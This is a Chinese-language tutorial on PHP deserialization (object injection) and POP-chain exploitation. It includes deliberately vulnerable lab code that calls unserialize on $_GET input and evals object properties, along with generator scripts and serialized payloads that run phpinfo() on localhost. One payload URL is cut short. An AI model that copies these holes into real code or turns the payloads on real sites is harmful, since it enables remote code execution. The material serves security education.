0x01 前言
php反序列化漏洞,又叫php对象注入漏洞
php中有两个函数 serialize() 和 unserialize()
一个用于序列化,一个用于反序列化
序列化通俗意思
序列化说简单点就是将一个对象变成可以传输的字符串
反序列化通俗意思
反序列化就是把serialize()函数执行完毕以后的字符串再变回对象
注意:反序列化可以控制类属性,无论是 public 还是 private
0x02 pop 链定义
把类的魔术方法作为开始的起点,接着在魔术方法中调用其他函数方法,寻找相同名字的函数方法,最后在与类中的敏感函数和属性相关联达到类中所有的敏感属性都可控,在利用铭感属性可控的特点执行特定漏洞的效果。
通俗点就是:反序列化中,如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
通俗点意思:反序列化的时候经常会出现关键代码不在某个魔术方法里面,而是在另外一个类的普通方法中。这个时候我们就可以通过查找相同的函数名将类的属性和敏感函数的属性联系起来,最后达到目的。
0x03 一般需重点查看的魔术方法
如果在实际审计的时候碰见这几个魔法函数那么最好站点研究
魔术方法 | 基础讲解 |
---|---|
__construct() | 类的构造函数-实例化一个类之前先执行该方法(注意:当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的) |
__destruct() | 类的析构函数-在销毁一个类之前执行该方法(注意:php大多数情况下会自动调用销毁对象) |
__sleep() | 执行serialize()时,会先调用该魔术方法 |
__wakeup() | 执行unserialize()时,会先调用该魔术方法 |
__toString() | 当一个对象被当作字符串对待的时候,会触发这个魔术方法 |
如果想学习 php的魔术方法的话建议查看文章:https://www.yuque.com/pmiaowu/web_security_1/nxl8il
里面写的还是挺清楚的
0x04 简单反序列化例子
0x04.1 例子1
// 测试代码
// test_code_1.php
<?php
class Person{
public $name="小明";
public function say() {
echo $this->name;
}
}
$u = unserialize($_GET['test']);
$u->say();
?>
// 序列化代码
// test1.php
// 代码执行以后会输出 序列化的内容
<?php
class Person{
}
$p = new Person();
$s = serialize($p);
echo $s;
?>
// 执行结果
// O:6:"Person":0:{}
接着打开 http://127.0.0.1/test_code_1.php?test=O:6:"Person":0:{}
// 执行结果
// 小明
这是因为执行了 $u = unserialize($_GET['test']); 反序列化
把serialize()函数执行完毕以后的字符串重新转回对象以后,会去调用类的 say() 方法
而 say() 会输出类定义的变量 $name 的值
最后输出了$name 的值
小明
0x04.2 例子2-修改类属性
// 测试代码
// test_code_2.php
<?php
class Person{
public $name="小明";
public function say() {
echo $this->name;
}
}
$u = unserialize($_GET['test']);
$u->say();
?>
// 序列化代码
// test2.php
// 代码执行以后会输出 序列化的内容
<?php
class Person{
}
$p = new Person();
$p->name='小军';
$s = serialize($p);
echo $s;
?>
// 执行结果
// O:6:"Person":1:{s:4:"name";s:6:"小军";}
接着打开 http://127.0.0.1/test_code_2.php?test=O:6:"Person":1:{s:4:"name";s:6:"小军";}
// 执行结果
// 小军
这是因为 test_code_2.php 这个文件中的 Person类 有个 公有类型的变量 $name
而我在 test2.php 文件中把这个 $name 值修改并且序列化了
然后 test_code_2.php 反序列化 并且调用类里面的 say() 方法
因为我们修改了 公有类型的变量 $name为小军
所以最后执行输出的时候 $name 就是小军了
0x05 普通反序列化例子
// 测试代码
// test_code_3.php
<?php
class Test{
public $value="";
public function __destruct()
{
eval($this->value);
}
}
unserialize($_GET['test']);
?>
// 序列化代码
// test3.php
// 代码执行以后会输出 序列化的内容
<?php
class Test{
}
$p = new Test();
$p->value = 'phpinfo();';
$s = serialize($p);
echo $s;
?>
// 执行结果
// O:4:"Test":1:{s:5:"value";s:10:"phpinfo();";}
打开:http://127.0.0.1/test_code_3.php?test=O:4:"Test":1:{s:5:"value";s:10:"phpinfo();";}
// 执行结果
// 执行了命令 phpinfo();
这是因为 test_code_3.php 这个文件中的 Test 有个 公有类型的变量 $value
而我在 test3.php 文件中把这个 $value 值修改并且序列化了
接着 Test类 有个 __destruct()方法 类在销毁的之前调用了该方法,该方法里面的内容可控,最终执行了命令
0x06 简单pop链反序列化例子
0x06.1 例子1-问题点在其他类的普通方法中
// 测试代码
// test_code_4.php
<?php
class Test
{
protected $ClassObj;
function __construct() {
$this->ClassObj = new A();
}
function __destruct() {
$this->ClassObj->action();
}
}
class A
{
function action() {
echo "我很安全";
}
}
class B
{
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['test']);
?>
// 序列化代码
// test4.php
// 代码执行以后会输出 序列化的内容
<?php
class Test
{
protected $ClassObj;
function __construct() {
$this->ClassObj = new B();
}
}
class B
{
private $data = 'phpinfo();';
}
echo urlencode(serialize(new Test()));
?>
// 执行结果
// O%3A4%3A%22Test%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22%00B%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
打开:http://127.0.0.1/test_code_4.php?test=O%3A4%3A"Test"%3A1%3A%7Bs%3A11%3A"%00%2A%00ClassObj"%3BO%3A1%3A"B"%3A1%3A%7Bs%3A7%3A"%00B%00data"%3Bs%3A10%3A"phpinfo%28%29%3B"%3B%7D%7D
// 执行结果
// 执行了命令 phpinfo();
首先看 test_code_4.php 里面的 B类
里面有个 action() 方法,这个方法是有安全问题的,但是这个方法,我们无法直接执行,所以就需要跳板
所以我们在 test4.php 中把B类的 private $data 修改为 private $data = 'phpinfo();';
接着在把 test4.php 中, Test类的 __construct() 方法修改为,实例化B类
然后执行输出序列化内容
接着把序列化内容带入 test_code_4.php 进行反序列化
test_code_4.php 文件里面有个 Test类 $this->ClassObj 是我们可控的
__construct() 方法 也是我们可控的
__destruct() 方法 会固定执行 $this->ClassObj->action();
其中 $this->ClassObj 是我们可控的(说明可以实例化任何类)
而后面的->action() 刚刚好与 B类的 action() 方法函数一致
这就说明我们可以利用 __construct() 实例化 B类,然后在 __destruct() 方法调用 B类的 action()
最终实现漏洞利用
0x06.2 例子2-问题点在其他类的 __construct() 方法中
当使用unserialize()的时候会自动调用魔术方法wakeup() 或destruct(),所以往往安全问题都在 wakeup() 和 destruct() 魔术方法中
那么如果问题是存在某个类的 construct() 方法中,那么怎么办呢?
答:如果在反序列化的时候,创建了新对象,那么新对象就会自动调用 construct() 方法
利用这点,我们就可以完成本例子的漏洞利用
// 测试代码
// test_code_5.php
<?php
class Test{
public $class_name = 'A';
public $test = '安全';
public function __wakeup() {
new $this->class_name($this->test);
}
}
class A{
function __construct($value){
echo $value . '很安全';
}
}
class B{
function __construct($value){
eval($value);
}
}
unserialize($_GET['test']);
?>
// 序列化代码
// test5.php
// 代码执行以后会输出 序列化的内容
<?php
class Test{
public $class_name = 'B';
public $test = 'phpinfo();';
public function __wakeup() {
new $this->class_name($this->test);
}
}
class B{
}
echo urlencode(serialize(new Test()));
?>
// 执行结果
// O%3A4%3A%22Test%22%3A2%3A%7Bs%3A10%3A%22class_name%22%3Bs%3A1%3A%22B%22%3Bs%3A4%3A%22test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
打开:http://127.0.0.1/test_code_5.php?test=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A10%3A%22cl0
// 执行结果
// 执行了命令 phpinfo();
首先看 test_code_5.php 文件中的 B类
它的 __construct() 方法是有问题的,但是我们无法直接利用它,所以就需要跳板
我们在 test_code_5.php 中的 Test类 可以看到这个类的 __wakeup() 是可控的。
因为它的 public $class_name; 与 public $test; 属性 我们都可以控制
所以我们可以利用 __wakeup() 实例化任意类
所以我们在 test5.php 中 把 Test类 中的 public $class_name; 与 public $test; 属性
分别修改为
public $class_name = 'B';
public $test = 'phpinfo();';
然后执行输出序列化内容
接着把序列化内容带入 test_code_5.php 进行反序列化
反序列化的时候自动执行 Test类 的 __wakeup() 方法
因为 Test类 的 public $class_name; 与 public $test; 属性
我们在 test.php 进行序列化的时候分别修改为了
public $class_name = 'B';
public $test = 'phpinfo();';
所以它会去实例化 B类
因为在 Test类 实例化的时候创建了新对象 B类,所以B类执行了它的 __construct() 完成了漏洞利用